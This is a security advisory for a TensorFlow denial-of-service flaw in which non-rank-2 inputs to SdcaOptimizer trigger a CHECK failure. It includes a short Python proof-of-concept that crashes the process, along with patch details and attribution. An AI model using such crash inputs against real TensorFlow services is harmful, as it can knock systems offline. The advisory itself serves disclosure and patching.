PT-2026-59705 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
4.8
Medium
| Vector | AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H |
Impact
Inputs
dense features or example state data not of rank 2 will trigger a CHECK fail in [SdcaOptimizer](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca internal.cc).python
import tensorflow as tf
tf.raw ops.SdcaOptimizer(
sparse example indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse feature indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse feature values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
example labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
sparse indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example state data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
loss type="squared loss",
l1=0.0,
l2=0.0,
num loss partitions=1,
num inner iterations=1,
adaptative=False,)Patches
We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Zizhuang Deng of IIE, UCAS
Fix
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Related Identifiers
Affected Products
Tensorflow